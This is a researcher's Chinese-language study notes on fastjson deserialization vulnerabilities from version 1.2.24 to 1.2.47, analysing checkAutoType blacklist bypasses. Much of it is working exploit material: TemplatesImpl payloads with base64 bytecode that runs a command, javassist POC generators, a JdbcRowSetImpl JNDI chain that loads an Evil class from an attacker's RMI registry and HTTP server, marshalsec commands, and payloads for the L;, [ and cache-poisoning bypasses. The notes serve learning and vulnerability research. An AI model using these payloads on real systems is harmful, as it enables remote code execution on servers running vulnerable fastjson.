该文是本人自己随手记录的漏洞调试记录,想系统学习漏洞推荐直接到参考链接看一些优秀大佬的博客
1、fastjson基本使用 Person类 1 2 3 4 5 6 7 8 9 10 11 12 13 14 package top.lrui1.entity; import lombok.AllArgsConstructor; import lombok.Data; import lombok.NoArgsConstructor; @Data @AllArgsConstructor @NoArgsConstructor public class Person { private String name; private int age; }
序列化 1 2 3 4 5 static void sec () { Person p = new Person ("lrui1" , 21 ); String jsonString = JSON.toJSONString(p, SerializerFeature.WriteClassName, SerializerFeature.PrettyFormat); System.out.println(jsonString); }
反序列化 payload
1 2 3 4 5 { "@type" : "top.lrui1.entity.Person" , "age" : 21 , "name" : "lrui1" }
POC
1 2 3 4 5 6 7 8 9 static void unsec () { String payload = "{\n" + "\t\"@type\":\"top.lrui1.entity.Person\",\n" + "\t\"age\":21,\n" + "\t\"name\":\"lrui1\"\n" + "}" ; Person p1 = JSON.parseObject(payload, Person.class); System.out.println(p1.getName()); }
2、漏洞分析 fastjson-1.2.24 fastjson会识别@type字段,实现任意类的反序列化
漏洞代码
1 2 JSON.parseObject(userInput)
利用链分析
有两条比较著名的链
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
利用条件JSON.parse(poc,Feature.SupportNonPublicField)、JSON.parseObject(poc,Feature.SupportNonPublicField)
反序列化链如下
1 2 3 4 TemplatesImpl.getOutputProperties TemplatesImpl.newTransformer TemplatesImpl.defineTransletClasses TemplatesImpl.getTransletInstance
Payload如下
1 2 3 4 5 6 7 { "@type" : "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" , "_bytecodes" : [ "yv66vgAAADQAGAEABEV2aWwHAAEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwADAQAGPGluaXQ+AQADKClWAQAEQ29kZQwABQAGCgAEAAgBABFqYXZhL2xhbmcvUnVudGltZQcACgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAAwADQoACwAOAQAEY2FsYwgAEAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMABIAEwoACwAUAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQAhAAIABAAAAAAAAQABAAUABgABAAcAAAAaAAIAAQAAAA4qtwAJuAAPEhG2ABVXsQAAAAAAAQAWAAAAAgAX" ] , "_name" : "lrui1" , "_tfactory" : { } , "_outputProperties" : { } }
其中的bytecode,可以这样编译下方文件生成,需要继承AbstractTranslet
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public class Calc extends AbstractTranslet { @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } public Calc () { try { Runtime.getRuntime().exec("calc" ); } catch (IOException e) { throw new RuntimeException (e); } } }
编译后的class文件,可以使用下方代码读取
1 2 3 4 5 byte [] bytes = Files.readAllBytes(Paths.get("Evil.class" ));String encoded = Base64.getEncoder().encodeToString(bytes);
除了手动获取bytecode,也可以使用javassist构建,一次性验证的POC如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 public class fastjson1224TemplatesImpl { public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.makeClass("Evil" ); cc.setSuperclass((pool.get(AbstractTranslet.class.getName()))); CtConstructor cons = new CtConstructor (new CtClass []{}, cc); cons.setBody("{ Runtime.getRuntime().exec(\"calc\"); }" ); cc.addConstructor(cons); byte [] byteCode=cc.toBytecode(); String evilCode=Base64.getEncoder().encodeToString(byteCode); String poc="{\n" + "\"@type\":\"" +TemplatesImpl.class.getName()+"\",\n" + "\"_bytecodes\":[\"" +evilCode+"\"],\n" + "\"_name\":\"lrui1\",\n" + "\"_tfactory\":{ },\n" + "\"_outputProperties\":{ }\n" + "}" ; System.out.println(poc); JSON.parse(poc,Feature.SupportNonPublicField); } }
fastjson反序列化时的特性
将字段前的下划线替换成空 _name 跟 getName 可以绑定
反序列化顺序按照从上到下,依次调用setter和getter
com.sun.rowset.JdbcRowSetImpl
该链利用JNDI注入的参数可控
反序列化链如下
1 2 3 JdbcRowSetImpl.setAutoCommit JdbcRowSetImpl.connect InitialContext.lookup
payload攻击载荷,使用javac Evil.java编译后,放在HTTP服务器中(可使用python -m http.server 80 快速启动)
1 2 3 4 5 6 7 8 9 10 import java.io.IOException;public class Evil { static { try { Runtime.getRuntime().exec("calc" ); } catch (IOException e) { } } }
注册JNDI目录服务
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.Reference; import java.rmi.registry.*; public class JNDINameRefer { public static void main (String[] args) throws Exception { final String SERVER_IP = "192.168.19.129" ; System.setProperty("java.rmi.server.hostname" ,SERVER_IP); Registry registry = LocateRegistry.createRegistry(9999 ); String remote_class_server = "http://" +SERVER_IP+"/" ; Reference reference = new Reference ("Evil" , "Evil" , remote_class_server); ReferenceWrapper referenceWrapper = new ReferenceWrapper (reference); registry.bind("Evil" , referenceWrapper); System.out.println("start..." ); } }
反序列化JSON-payload
1 2 3 4 5 { "@type" : "com.sun.rowset.JdbcRowSetImpl" , "dataSourceName" : "rmi://192.168.19.129:9999/Evil" , "autoCommit" : true }
一次性验证POC
1 2 3 4 5 6 7 8 9 static void unsec () { String payload = "{\n" + " \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" + " \"dataSourceName\":\"rmi://192.168.19.129:9999/Evil\",\n" + " \"autoCommit\": true\n" + "}" ; System.out.println(payload); JSON.parseObject(payload); }
除了上面使用代码自建JNDI目录服务,也可以使用marshalsec项目创建目录服务 https://github.com/mbechler/marshalsec
1 2 mvn clean package -DskipTests java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.19.129/#Evil" 9999
确保HTTP服务器中存在Evil.class,然后运行验证POC,弹出计算器
参考链接 https://l3yx.github.io/2020/02/25/FastJson-1-2-24-反序列化/
fastjson-1.2.25 影响范围
1.2.25 <= fastjson < 1.2.42
相对于1.2.24,官方引入了checkAutoType机制,并且默认关闭autoTypeSupport;开启autoTypeSupport后,是基于内置黑名单来实现安全的,fastjson 也提供了添加黑名单的接口。
使用1.2.24的POC,打断点跟进,程序会调用com.alibaba.fastjson.parser.ParserConfig#checkAutoType 方法,checkAutoType方法的大致逻辑如下
autoTypeSupport开启,先查白名单,再查黑名单
autoTypeSupport未开启,先查黑名单,再查白名单
开启了autoTypeSupport,黑白名单都未匹配,调用TypeUtils.loadClass
TypeUtils.loadClass中,对JVM 类型描述符进行了处理,其中存在逻辑漏洞
typeClass为Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;,经过处理后,实际加载仍然为com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
payload
1 2 3 4 5 6 7 8 9 { "@type" : "Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;" , "_bytecodes" : [ "yv66vgAAADQAGAEABEV2aWwHAAEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwADAQAGPGluaXQ+AQADKClWAQAEQ29kZQwABQAGCgAEAAgBABFqYXZhL2xhbmcvUnVudGltZQcACgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAAwADQoACwAOAQAEY2FsYwgAEAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMABIAEwoACwAUAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQAhAAIABAAAAAAAAQABAAUABgABAAcAAAAaAAIAAQAAAA4qtwAJuAAPEhG2ABVXsQAAAAAAAQAWAAAAAgAX" ] , "_name" : "lrui1" , "_tfactory" : { } , "_outputProperties" : { } }
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 public class fastjson1225 { static { System.setProperty("fastjson.parser.autoTypeSupport" , "true" ); } public static void main (String[] args) throws Exception { sec(); unsec(); } static void unsec () throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.makeClass("Evil" ); cc.setSuperclass((pool.get(AbstractTranslet.class.getName()))); CtConstructor cons = new CtConstructor (new CtClass []{}, cc); cons.setBody("{ Runtime.getRuntime().exec(\"calc\"); }" ); cc.addConstructor(cons); byte [] byteCode=cc.toBytecode(); String evilCode= Base64.getEncoder().encodeToString(byteCode); String poc="{\n" + "\"@type\":\"" +TemplatesImpl.class.getName()+"\",\n" + "\"_bytecodes\":[\"" +evilCode+"\"],\n" + "\"_name\":\"lrui1\",\n" + "\"_tfactory\":{ },\n" + "\"_outputProperties\":{ }\n" + "}" ; String poc1 = "{\n" + "\"@type\":\"Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\",\n" + "\"_bytecodes\":[\"yv66vgAAADQAGAEABEV2aWwHAAEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwADAQAGPGluaXQ+AQADKClWAQAEQ29kZQwABQAGCgAEAAgBABFqYXZhL2xhbmcvUnVudGltZQcACgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAAwADQoACwAOAQAEY2FsYwgAEAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMABIAEwoACwAUAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQAhAAIABAAAAAAAAQABAAUABgABAAcAAAAaAAIAAQAAAA4qtwAJuAAPEhG2ABVXsQAAAAAAAQAWAAAAAgAX\"],\n" + "\"_name\":\"lrui1\",\n" + "\"_tfactory\":{ },\n" + "\"_outputProperties\":{ }\n" + "}" ; System.out.println(poc1); JSON.parseObject(poc1, Feature.SupportNonPublicField); } }
遇到的坑setProperty
System.setProperty("fastjson.parser.autoTypeSupport", "true") 只有在 fastjson 在读取该配置之前 执行才会生效。fastjson(或其 ParserConfig / JSON 类)的静态初始化代码通常会在类第一次被加载/使用时读取该系统属性并把值缓存到静态字段里。如果你在类已经被初始化(即已经访问过 fastjson 的任何类/方法)之后再调用 System.setProperty,fastjson 已经把旧值缓存了——所以“改”了属性但没效果。把 setProperty 放在 static(或在 main 入口开始的第一行、或用 JVM -D)就能确保在 fastjson 被初始化前设置好,从而生效。
fastjson-1.2.42 相比于之前的版本,fastjson延续了之前的黑白名单匹配机制,但是对比的方式从字符串改为hash,防止安全研究人员进行研究
重点关注ParserConfig的checkAutoType方法,新增了一个逻辑,如果类的第一个字符是 L 结尾是 ;,则使用 substring进行了去除
但是该去除代码只出现了一次,且调用checkAutoType方法时是递归调用(可以自己跟一下),因此可以双写绕过。
payload
1 2 3 4 5 6 7 8 9 { "@type" : "LLcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;;" , "_bytecodes" : [ "yv66vgAAADQAGAEABEV2aWwHAAEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwADAQAGPGluaXQ+AQADKClWAQAEQ29kZQwABQAGCgAEAAgBABFqYXZhL2xhbmcvUnVudGltZQcACgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAAwADQoACwAOAQAEY2FsYwgAEAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMABIAEwoACwAUAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQAhAAIABAAAAAAAAQABAAUABgABAAcAAAAaAAIAAQAAAA4qtwAJuAAPEhG2ABVXsQAAAAAAAQAWAAAAAgAX" ] , "_name" : "lrui1" , "_tfactory" : { } , "_outputProperties" : { } }
fastjson-1.2.43 该版本修复了上版本的双写绕过,出现双写则抛出异常
既然L、; 无法被利用,那就可利用[进行绕过
payload
1 2 3 4 5 6 7 8 9 { "@type" : "[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" [ { "_bytecodes" : [ "yv66vgAAADQAGAEABEV2aWwHAAEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwADAQAGPGluaXQ+AQADKClWAQAEQ29kZQwABQAGCgAEAAgBABFqYXZhL2xhbmcvUnVudGltZQcACgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAAwADQoACwAOAQAEY2FsYwgAEAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMABIAEwoACwAUAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQAhAAIABAAAAAAAAQABAAUABgABAAcAAAAaAAIAAQAAAA4qtwAJuAAPEhG2ABVXsQAAAAAAAQAWAAAAAgAX" ] , "_name" : "lrui1" , "_tfactory" : { } , "_outputProperties" : { } }
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public class fastjson1243 { public static void main (String[] args) { System.setProperty("fastjson.parser.autoTypeSupport" , "true" ); String poc = "{\n" + "\"@type\":\"[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"[,{\n" + "\"_bytecodes\":[\"yv66vgAAADQAGAEABEV2aWwHAAEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwADAQAGPGluaXQ+AQADKClWAQAEQ29kZQwABQAGCgAEAAgBABFqYXZhL2xhbmcvUnVudGltZQcACgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAAwADQoACwAOAQAEY2FsYwgAEAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMABIAEwoACwAUAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQAhAAIABAAAAAAAAQABAAUABgABAAcAAAAaAAIAAQAAAA4qtwAJuAAPEhG2ABVXsQAAAAAAAQAWAAAAAgAX\"],\n" + "\"_name\":\"lrui1\",\n" + "\"_tfactory\":{ },\n" + "\"_outputProperties\":{ }\n" + "}" ; System.out.println(poc); JSON.parseObject(poc, Feature.SupportNonPublicField); } }
先向@type字段前添加[,后面根据报错补充
挖掘出添加[、[、{符号的思考
个人的堆栈调试记录
1、跟踪堆栈,验证JSON是否合法主要取决DefaultJSONParser中lexer的token值,12非法(默认),13合法(跟踪到5时,token不作为判断依据)
2、跟踪堆栈,lexer是JSONScanner的对象,JSONScanner继承至JSONLexerBase,并实现了JSONLexer的接口
3、阅读JSONLexerBase源码,其tokenName方法,调用JSONToken的name方法;name方法根据传入的int值返回对应的字符串
4、跟踪堆栈,DefaultJSONParser的parseObject(178line)方法实现对json的提取解析,调用JSONLexer的方法实现关键字提取
5、跟踪堆栈,DefaultJSONParser的parseObject(311line),调用checkAutoType方法对typename作校验
个人的思考总结:跟到这边,知道fastjson会对传入的json字符串做格式校验,需要满足其格式要求即可,大概逻辑是遍历字符串,匹配[、{、"关键字符,然后在进行特征值的提取,最后还原成Java Bean
具体"@type": "[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"[{中,[{在哪段代码被解析,有无其他大佬文章参考,欢迎留言。
fastjson-1.2.44 该版本修复了上版本的[绕过问题,修复代码如下,仍然是checkAutoType方法
fastjson-1.2.45 该版本爆出黑名单绕过
绕过前提:
1、目标服务端存在mybatis的jar包。
2、版本需为 3.x.x ~ 3.5.0
3、autoTypeSupport属性为true才能使用。(fastjson >= 1.2.25默认为false)
payload
1 2 3 4 5 6 { "@type" : "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory" , "properties" : { "data_source" : "rmi://localhost:1099/Exploit" } }
具体利用参考1.2.24,com.sun.rowset.JdbcRowSetImpl 利用链
fastjson-1.2.47 在checkAutoType中,942IF语句第一个条件是匹配黑名单,第二个条件是该typeName是否在缓存中,使用and连接两个条件,如果typeName在缓存中可以绕过黑名单的匹配,随后在TypeUtils.getClassFromMapping或者deserializers.findClass方法查找缓存,任一其一匹配到直接return,实现绕过
具体代码如下
现在就尝试将恶意类名注入到TypeUtils中,跟进getClassFromMapping,观察TypeUtils,方法getClassFromMapping调用mappings成员变量获取缓存的值
分析TypeUtils,寻找mapping变量执行put的方法,发现loadClass(String className, ClassLoader classLoader, boolean cache)如果cache为true,即可将className加入缓存mapping,具体代码如下
loadClass(String className, ClassLoader classLoader)方法默认cache值为true,在IDEA使用find usage搜索loadClass的调用处,发现MiscCodec类中的deserialze方法调用了loadClass
观察MiscCodec类deserialze方法,如果 parser.resolveStatus 为TypeNameRedirect 时,进入 if 语句,会解析 “val” 中的内容放入 objVal 中,然后传入 strVal 中(其中必须要有val这个键,否则语法错误)
最后根据clazz将strval调用TypeUtils类的loadClass方法,使得strval加入缓存
关于其实现了ObjectDeserializer接口,fastjson在反序列化中会调用实现了ObjectDeserializer接口的类的deserialze方法,具体代码如下(DefaultJSONParser303~386),
this.setResolveStatus(TypeNameRedirect);设置的前提条件是(来自G老师)
当前 key 是 “@type” 解析出的类型名(typeName)经过 checkAutoType() 校验返回了 合法的 Class<?> clazz 不是 立即结束的情况(即:解析完 @type 后,下一个 token 不是 }) (换句话说,if (lexer.token() == JSONToken.RBRACE) 这一块未被命中)
而MiscCodec类的反序列化Type—Class.class,可以通过deserializers.findClass搜索到缓存,deserializers在ParserConfig类中有一个初始化deserializers的操作,具体代码如下
总结,先反序列化java.lang.Class触发MiscCodec中的deserialze方法注入恶意类缓存,随后进行恶意类的反序列化即可
payload(分两次发)
1 2 3 4 5 6 7 8 9 10 11 12 { "lrui1" : { "@type" : "java.lang.Class" , "val" : "com.sun.rowset.JdbcRowSetImpl" } , "lrui2" : "" } { "@type" : "com.sun.rowset.JdbcRowSetImpl" , "dataSourceName" : "rmi://192.168.1.2:9999/Evil" , "autoCommit" : true }
可将上述payload简化为下方json
1 2 3 4 5 6 7 8 9 10 11 { "lrui1" : { "@type" : "java.lang.Class" , "val" : "com.sun.rowset.JdbcRowSetImpl" } , "lrui2" : { "@type" : "com.sun.rowset.JdbcRowSetImpl" , "dataSourceName" : "rmi://192.168.1.2:9999/Evil" , "autoCommit" : true } }
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 String poc = "{\n" + " \"lrui1\": {\n" + " \"@type\": \"java.lang.Class\",\n" + " \"val\": \"com.sun.rowset.JdbcRowSetImpl\"\n" + " },\n" + " \"lrui2\": {\n" + " \"@type\": \"com.sun.rowset.JdbcRowSetImpl\",\n" + " \"dataSourceName\": \"rmi://192.168.1.2:9999/Evil\",\n" + " \"autoCommit\": true\n" + " }\n" + "} " ; System.out.println(poc); JSON.parseObject(poc);
JNDI相关利用可参考fastjson-1.2.24
现在可以解释一下,该漏洞的利用,分为两种情况
1.2.25-1.2.32: 未开启AutoTypeSupport时能成功利用
1.2.33-1.2.47: 无论是否开启AutoTypeSupport都能成功利用
先解释下1.2.33 <= fastjson <= 1.2.47,具体如图所示
1.2.25 <= fastjson <= 1.2.32 具体如图所示
fastjson-1.2.68
太复杂了,先鸽着
fastjson-1.2.80
太复杂了,先鸽着
PS 1、关于TemplatesImpl ,为什么不直接给_class序列化值,而是要通过加载bytecode?
观察以下代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 private Translet getTransletInstance () throws TransformerConfigurationException { try { if (_name == null ) return null ; if (_class == null ) defineTransletClasses(); AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); translet.postInitialization(); translet.setTemplates(this ); translet.setServicesMechnism(_useServicesMechanism); translet.setAllowedProtocols(_accessExternalStylesheet); if (_auxClasses != null ) { translet.setAuxiliaryClasses(_auxClasses); } return translet; } catch (InstantiationException e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException (err.toString()); } catch (IllegalAccessException e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException (err.toString()); } }
触发类实例化的代码是有,但是仅仅是类的实例化,即使加载了Runtime,也无法调用其getRuntime().exec()方法,所以要通过加载自定义bytecode,在类实例化期间实现反射加载Runtime,实现RCE
2、fastjson 反序列化为什么调用getter ?
参考** https://goodapple.top/archives/832**
需要满足
1 2 3 4 5 6 只存在getter方法,无settet方法。 方法名称长度大于4。 非静态方法。 方法名以get开头,且第四个字符为大写字母。 方法不用传入参数。 方法的返回值继承自 Collection、Map、AtomicBoolean、AtomicInteger 和AtomicLong的其中一个。
demo代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 package top.lrui1.fastjson;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;public class Fastjson_Learning { public static void main (String[] args) { String json = "{\\n" + " \\" @type \\": \\" top.lrui1.Person\\",\\n" + " \\" name\\": \\" lrui1\\",\\n" + " \\" age\\": 22,\\n" + " \\" dataMap\\": {\\" key\\": \\" value\\"}\\n" + "}" ; Object obj = JSON.parseObject(json, Object.class, Feature.SupportNonPublicField); System.out.println("反序列化完成" ); System.out.println(obj); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 package top.lrui1;import java.util.HashMap;import java.util.Map;public class Person { private String name; private int age; private Map<String, String> dataMap = new HashMap <>(); public Person () { System.out.println("调用无参构造方法" ); } public String getName () { System.out.println("调用 getName" ); return name; } public int getAge () { System.out.println("调用 getAge" ); return age; } public Map<String, String> getDataMap () { System.out.println("调用 getDataMap" ); return dataMap; } @Override public String toString () { return "Person{" + "name='" + name + '\\' ' + ", age=" + age + ", dataMap=" + dataMap + ' }'; } }
参考链接 https://www.freebuf.com/articles/web/283585.html
https://su18.org/post/fastjson/
https://blog.csdn.net/Destiny_one/article/details/142203895
https://zhuanlan.zhihu.com/p/665655608